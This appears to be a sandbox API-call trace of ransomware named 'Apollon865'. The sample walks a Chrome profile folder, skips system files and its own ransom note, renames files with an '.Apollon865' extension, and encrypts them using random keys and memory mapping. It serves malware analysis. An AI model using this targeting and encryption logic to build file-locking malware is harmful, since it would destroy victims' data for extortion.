	[0046.716] lstrlenW (lpString="daschema") returned 8
	[0046.716] lstrcmpiW (lpString1="-journal", lpString2="daschema") returned 1
	[0046.716] lstrlenW (lpString="db-journal") returned 10
	[0046.716] lstrcmpiW (lpString1="ns-journal", lpString2="db-journal") returned 1
	[0046.716] lstrlenW (lpString="db-shm") returned 6
	[0046.717] lstrcmpiW (lpString1="ournal", lpString2="db-shm") returned 1
	[0046.717] lstrlenW (lpString="db-wal") returned 6
	[0046.717] lstrcmpiW (lpString1="ournal", lpString2="db-wal") returned 1
	[0046.717] lstrlenW (lpString="dbc") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dbc") returned 1
	[0046.717] lstrlenW (lpString="dbs") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dbs") returned 1
	[0046.717] lstrlenW (lpString="dbt") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dbt") returned 1
	[0046.717] lstrlenW (lpString="dbv") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dbv") returned 1
	[0046.717] lstrlenW (lpString="dbx") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dbx") returned 1
	[0046.717] lstrlenW (lpString="dcb") returned 3
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dcb") returned 1
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dct") returned 1
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dcx") returned 1
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="ddl") returned 1
	[0046.717] lstrcmpiW (lpString1="rnal", lpString2="dlis") returned 1
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dp1") returned 1
	[0046.717] lstrcmpiW (lpString1="nal", lpString2="dqy") returned 1
	[0046.717] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Google Profile.ico" | out: lpString1="Google Profile.ico") returned="Google Profile.ico"
	[0046.717] lstrlenW (lpString="Google Profile.ico") returned 18
	[0046.717] lstrlenW (lpString="Apollon865") returned 10
	[0046.717] lstrcmpiW (lpString1="rofile.ico", lpString2="Apollon865") returned 1
	[0046.717] lstrlenW (lpString=".dll") returned 4
	[0046.718] lstrcmpiW (lpString1="Google Profile.ico", lpString2=".dll") returned 1
	[0046.718] lstrlenW (lpString=".lnk") returned 4
	[0046.718] lstrcmpiW (lpString1="Google Profile.ico", lpString2=".lnk") returned 1
	[0046.718] lstrlenW (lpString=".ini") returned 4
	[0046.718] lstrcmpiW (lpString1="Google Profile.ico", lpString2=".ini") returned 1
	[0046.718] lstrlenW (lpString=".sys") returned 4
	[0046.718] lstrcmpiW (lpString1="Google Profile.ico", lpString2=".sys") returned 1
	[0046.718] lstrlenW (lpString="Google Profile.ico") returned 18
	[0046.718] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="History" | out: lpString1="History") returned="History"
	[0046.718] lstrlenW (lpString="History") returned 7
	[0046.718] lstrlenW (lpString="Apollon865") returned 10
	[0046.718] lstrlenW (lpString=".dll") returned 4
	[0046.718] lstrcmpiW (lpString1="History", lpString2=".dll") returned 1
	[0046.718] lstrlenW (lpString=".lnk") returned 4
	[0046.718] lstrcmpiW (lpString1="History", lpString2=".lnk") returned 1
	[0046.718] lstrlenW (lpString=".ini") returned 4
	[0046.718] lstrcmpiW (lpString1="History", lpString2=".ini") returned 1
	[0046.718] lstrlenW (lpString=".sys") returned 4
	[0046.718] lstrcmpiW (lpString1="History", lpString2=".sys") returned 1
	[0046.718] lstrlenW (lpString="History") returned 7
	[0046.718] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="History Provider Cache" | out: lpString1="History Provider Cache") returned="History Provider Cache"
	[0046.718] lstrlenW (lpString="History Provider Cache") returned 22
	[0046.718] lstrlenW (lpString="Apollon865") returned 10
	[0046.718] lstrcmpiW (lpString1="ider Cache", lpString2="Apollon865") returned 1
	[0046.718] lstrlenW (lpString=".dll") returned 4
	[0046.718] lstrcmpiW (lpString1="History Provider Cache", lpString2=".dll") returned 1
	[0046.718] lstrlenW (lpString=".lnk") returned 4
	[0046.718] lstrcmpiW (lpString1="History Provider Cache", lpString2=".lnk") returned 1
	[0046.718] lstrlenW (lpString=".ini") returned 4
	[0046.718] lstrcmpiW (lpString1="History Provider Cache", lpString2=".ini") returned 1
	[0046.719] lstrlenW (lpString=".sys") returned 4
	[0046.719] lstrcmpiW (lpString1="History Provider Cache", lpString2=".sys") returned 1
	[0046.719] lstrlenW (lpString="History Provider Cache") returned 22
	[0046.719] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="History-journal" | out: lpString1="History-journal") returned="History-journal"
	[0046.719] lstrlenW (lpString="History-journal") returned 15
	[0046.719] lstrlenW (lpString="Apollon865") returned 10
	[0046.719] lstrcmpiW (lpString1="ry-journal", lpString2="Apollon865") returned 1
	[0046.719] lstrlenW (lpString=".dll") returned 4
	[0046.719] lstrcmpiW (lpString1="History-journal", lpString2=".dll") returned 1
	[0046.719] lstrlenW (lpString=".lnk") returned 4
	[0046.719] lstrcmpiW (lpString1="History-journal", lpString2=".lnk") returned 1
	[0046.719] lstrlenW (lpString=".ini") returned 4
	[0046.719] lstrcmpiW (lpString1="History-journal", lpString2=".ini") returned 1
	[0046.719] lstrlenW (lpString=".sys") returned 4
	[0046.719] lstrcmpiW (lpString1="History-journal", lpString2=".sys") returned 1
	[0046.719] lstrlenW (lpString="History-journal") returned 15
	[0046.719] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="JumpListIcons" | out: lpString1="JumpListIcons") returned="JumpListIcons"
	[0046.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0046.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1698
	[0046.719] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0046.719] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JumpListIconsOld", cAlternateFileName="JUMPLI~1")) returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="Apollon865.txt.exe") returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2=".") returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="..") returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="windows") returned -1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="bootmgr") returned 1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="temp") returned -1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="pagefile.sys") returned -1
	[0046.719] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="boot") returned 1
	[0046.720] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="ids.txt") returned 1
	[0046.720] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="ntuser.dat") returned -1
	[0046.720] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="perflogs") returned -1
	[0046.720] lstrcmpiW (lpString1="JumpListIconsOld", lpString2="MSBuild") returned -1
	[0046.720] lstrlenW (lpString="JumpListIconsOld") returned 16
	[0046.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned 89
	[0046.720] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="JumpListIconsOld" | out: lpString1="JumpListIconsOld") returned="JumpListIconsOld"
	[0046.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0046.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0046.720] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0046.720] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="Apollon865.txt.exe") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2=".") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="..") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="windows") returned -1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="bootmgr") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="temp") returned -1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="pagefile.sys") returned -1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="boot") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="ids.txt") returned 1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="ntuser.dat") returned -1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="perflogs") returned -1
	[0046.720] lstrcmpiW (lpString1="Local Extension Settings", lpString2="MSBuild") returned -1
	[0046.720] lstrlenW (lpString="Local Extension Settings") returned 24
	[0046.720] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned 92
	[0046.720] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Local Extension Settings" | out: lpString1="Local Extension Settings") returned="Local Extension Settings"
	[0046.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0046.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xca) returned 0x5a5368
	[0046.720] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0046.720] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1
	[0046.720] lstrcmpiW (lpString1="Local Storage", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="Apollon865.txt.exe") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2=".") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="..") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="windows") returned -1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="bootmgr") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="temp") returned -1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="pagefile.sys") returned -1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="boot") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="ids.txt") returned 1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="ntuser.dat") returned -1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="perflogs") returned -1
	[0046.721] lstrcmpiW (lpString1="Local Storage", lpString2="MSBuild") returned -1
	[0046.721] lstrlenW (lpString="Local Storage") returned 13
	[0046.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned 100
	[0046.721] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Local Storage" | out: lpString1="Local Storage") returned="Local Storage"
	[0046.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0046.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1758
	[0046.721] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0046.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="Apollon865.txt.exe") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2=".") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="..") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="windows") returned -1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="bootmgr") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="temp") returned -1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="pagefile.sys") returned -1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="boot") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="ids.txt") returned 1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="ntuser.dat") returned -1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="perflogs") returned -1
	[0046.721] lstrcmpiW (lpString1="Login Data", lpString2="MSBuild") returned -1
	[0046.722] lstrlenW (lpString="Login Data") returned 10
	[0046.722] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned 89
	[0046.722] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Login Data" | out: lpString1="Login Data") returned="Login Data"
	[0046.722] lstrlenW (lpString="Login Data") returned 10
	[0046.722] lstrlenW (lpString="Apollon865") returned 10
	[0046.722] lstrlenW (lpString=".dll") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data", lpString2=".dll") returned 1
	[0046.722] lstrlenW (lpString=".lnk") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data", lpString2=".lnk") returned 1
	[0046.722] lstrlenW (lpString=".ini") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data", lpString2=".ini") returned 1
	[0046.722] lstrlenW (lpString=".sys") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data", lpString2=".sys") returned 1
	[0046.722] lstrlenW (lpString="Login Data") returned 10
	[0046.722] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Login Data-journal" | out: lpString1="Login Data-journal") returned="Login Data-journal"
	[0046.722] lstrlenW (lpString="Login Data-journal") returned 18
	[0046.722] lstrlenW (lpString="Apollon865") returned 10
	[0046.722] lstrcmpiW (lpString1="ta-journal", lpString2="Apollon865") returned 1
	[0046.722] lstrlenW (lpString=".dll") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data-journal", lpString2=".dll") returned 1
	[0046.722] lstrlenW (lpString=".lnk") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data-journal", lpString2=".lnk") returned 1
	[0046.722] lstrlenW (lpString=".ini") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data-journal", lpString2=".ini") returned 1
	[0046.722] lstrlenW (lpString=".sys") returned 4
	[0046.722] lstrcmpiW (lpString1="Login Data-journal", lpString2=".sys") returned 1
	[0046.722] lstrlenW (lpString="Login Data-journal") returned 18
	[0046.722] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Network Action Predictor" | out: lpString1="Network Action Predictor") returned="Network Action Predictor"
	[0046.723] lstrlenW (lpString="Network Action Predictor") returned 24
	[0046.723] lstrlenW (lpString="Apollon865") returned 10
	[0046.723] lstrcmpiW (lpString1=" Predictor", lpString2="Apollon865") returned -1
	[0046.723] lstrlenW (lpString=".dll") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor", lpString2=".dll") returned 1
	[0046.723] lstrlenW (lpString=".lnk") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor", lpString2=".lnk") returned 1
	[0046.723] lstrlenW (lpString=".ini") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor", lpString2=".ini") returned 1
	[0046.723] lstrlenW (lpString=".sys") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor", lpString2=".sys") returned 1
	[0046.723] lstrlenW (lpString="Network Action Predictor") returned 24
	[0046.723] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Network Action Predictor-journal" | out: lpString1="Network Action Predictor-journal") returned="Network Action Predictor-journal"
	[0046.723] lstrlenW (lpString="Network Action Predictor-journal") returned 32
	[0046.723] lstrlenW (lpString="Apollon865") returned 10
	[0046.723] lstrcmpiW (lpString1="or-journal", lpString2="Apollon865") returned 1
	[0046.723] lstrlenW (lpString=".dll") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor-journal", lpString2=".dll") returned 1
	[0046.723] lstrlenW (lpString=".lnk") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor-journal", lpString2=".lnk") returned 1
	[0046.723] lstrlenW (lpString=".ini") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor-journal", lpString2=".ini") returned 1
	[0046.723] lstrlenW (lpString=".sys") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Action Predictor-journal", lpString2=".sys") returned 1
	[0046.723] lstrlenW (lpString="Network Action Predictor-journal") returned 32
	[0046.723] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Network Persistent State" | out: lpString1="Network Persistent State") returned="Network Persistent State"
	[0046.723] lstrlenW (lpString="Network Persistent State") returned 24
	[0046.723] lstrlenW (lpString="Apollon865") returned 10
	[0046.723] lstrcmpiW (lpString1="tent State", lpString2="Apollon865") returned 1
	[0046.723] lstrlenW (lpString=".dll") returned 4
	[0046.723] lstrcmpiW (lpString1="Network Persistent State", lpString2=".dll") returned 1
	[0046.724] lstrlenW (lpString=".lnk") returned 4
	[0046.724] lstrcmpiW (lpString1="Network Persistent State", lpString2=".lnk") returned 1
	[0046.724] lstrlenW (lpString=".ini") returned 4
	[0046.724] lstrcmpiW (lpString1="Network Persistent State", lpString2=".ini") returned 1
	[0046.724] lstrlenW (lpString=".sys") returned 4
	[0046.724] lstrcmpiW (lpString1="Network Persistent State", lpString2=".sys") returned 1
	[0046.724] lstrlenW (lpString="Network Persistent State") returned 24
	[0046.724] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.Apollon865") returned 111
	[0046.724] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.apollon865"), dwFlags=0x1) returned 1
	[0046.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0046.726] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=40) returned 1
	[0046.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0046.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0046.726] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0046.727] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.727] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.727] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x330, lpName=0x0) returned 0x158
	[0046.758] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x330) returned 0x100000
	[0046.762] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0046.762] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.762] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.763] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.763] CloseHandle (hObject=0x158) returned 1
	[0046.763] CloseHandle (hObject=0x150) returned 1
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0046.763] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x94034050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="Apollon865.txt.exe") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2=".") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="..") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="windows") returned -1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="bootmgr") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="temp") returned -1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="pagefile.sys") returned -1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="boot") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="ids.txt") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="ntuser.dat") returned 1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="perflogs") returned -1
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2="MSBuild") returned 1
	[0046.764] lstrlenW (lpString="Origin Bound Certs") returned 18
	[0046.764] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 100
	[0046.764] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Origin Bound Certs" | out: lpString1="Origin Bound Certs") returned="Origin Bound Certs"
	[0046.764] lstrlenW (lpString="Origin Bound Certs") returned 18
	[0046.764] lstrlenW (lpString="Apollon865") returned 10
	[0046.764] lstrcmpiW (lpString1="ound Certs", lpString2="Apollon865") returned 1
	[0046.764] lstrlenW (lpString=".dll") returned 4
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2=".dll") returned 1
	[0046.764] lstrlenW (lpString=".lnk") returned 4
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2=".lnk") returned 1
	[0046.764] lstrlenW (lpString=".ini") returned 4
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2=".ini") returned 1
	[0046.764] lstrlenW (lpString=".sys") returned 4
	[0046.764] lstrcmpiW (lpString1="Origin Bound Certs", lpString2=".sys") returned 1
	[0046.764] lstrlenW (lpString="Origin Bound Certs") returned 18
	[0046.764] lstrlenW (lpString="bak") returned 3
	[0046.764] lstrcmpiW (lpString1="rts", lpString2="bak") returned 1
	[0046.764] lstrlenW (lpString="ba_") returned 3
	[0046.764] lstrcmpiW (lpString1="rts", lpString2="ba_") returned 1
	[0046.764] lstrlenW (lpString="dbb") returned 3
	[0046.764] lstrcmpiW (lpString1="rts", lpString2="dbb") returned 1
	[0046.765] lstrlenW (lpString="vmdk") returned 4
	[0046.765] lstrcmpiW (lpString1="erts", lpString2="vmdk") returned -1
	[0046.765] lstrlenW (lpString="rar") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="rar") returned 1
	[0046.765] lstrlenW (lpString="zip") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="zip") returned -1
	[0046.765] lstrlenW (lpString="tgz") returned 3
	[0046.765] lstrcmpiW (lpString1="rts", lpString2="tgz") returned -1
	[0046.765] lstrlenW (lpString="vbox") returned 4
	[0046.765] lstrcmpiW (lpString1="erts", lpString2="vbox") returned -1
	[0046.765] lstrlenW (lpString="vdi") returned 3
